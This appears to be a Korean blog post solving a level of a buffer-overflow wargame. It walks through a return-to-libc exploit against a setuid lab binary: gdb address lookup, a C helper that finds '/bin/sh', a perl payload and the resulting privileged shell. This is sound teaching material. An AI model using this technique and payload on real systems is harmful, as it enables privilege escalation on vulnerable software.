LEVEL13 (darkknight -> bugbear) : RTL1 

드디어 RTL이다 소스를 보자

[darkknight@localhost darkknight]$ cat bugbear.c
#include 
#include 

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] == '\xbf')
        {
                printf("stack betrayed you!!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}

다른 내용은 없고 0xbf(stack영역)을 찹조하면 "스택은 너를 배신했다"라는 메세지를 출력하고 종료한다.
이번에 사용될 기술은 RTL인데 라이브러리 영역에 있는 함수를 호출하고 인자값을 넣고 해당 함수를 실행하는 방법이다.

들어가야될 인자를 생각해보면 system()함수의 주소값, 리턴될 함수의 주소값(굳이 쓸 필요는 없다), system()함수의 인자값 순으로 생각을 하면된다.

그럼 먼저 system()함수의 주소값을 찾아보자. 

[darkknight@localhost .izayoi]$ cat system.c
int main(){
        system("/bin/sh");
}
[darkknight@localhost .izayoi]$ gdb -q system
(gdb) b main
Breakpoint 1 at 0x80483cb
(gdb) r
Starting program: /home/darkknight/.izayoi/system

Breakpoint 1, 0x80483cb in main ()
(gdb) print system
$2 = {} 0x40058ae0 <__libc_system>

system()함수의 주소값은 0x40058ae0 임을 확인했다.
system()함수는 "/bin/sh"를 사용해서 프로그램을 실행시킬 것이므로 내부적으로는 "/bin/sh"라는 값이 존재할 것 이다.

[darkknight@localhost .izayoi]$ cat find.c
#include 
int main(int argc, char **argv)
{
long shell=0x40058ae0;
while(memcmp((void*)shell,"/bin/sh",8)) shell++;
printf("\"/bin/sh\" is at [ %#x ]\n",shell);
}
[darkknight@localhost .izayoi]$ ./find
"/bin/sh" is at [ 0x400fbff9 ]
 
"/bin/sh"의 주소값을 찾았다.
이제 공격을 시도해보자.

[darkknight@localhost darkknight]$ ./bugbear `perl -e 'print "a"x44,"\xe0\x8a\x05\x40","aaaa","\xf9\xbf\x0f\x40"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?@aaaa廈@
bash$ id;my-pass
uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight)
euid = 513
new divide

bash$ exit
exit
Segmentation fault

밑에 exit를 친 이유는 중간에 aaaa라는 더미값을 넣었는데 그 값이 되돌아갈 주소로는 올바르지 않으므로 세그멘테이션 폴트가 뜬다. 이때는 돌아갈 주소를 exit()같은 종료하는 함수의 주소를 집어넣게 된다면 올바르게 종료될 것 이다.
Posted by john@memory :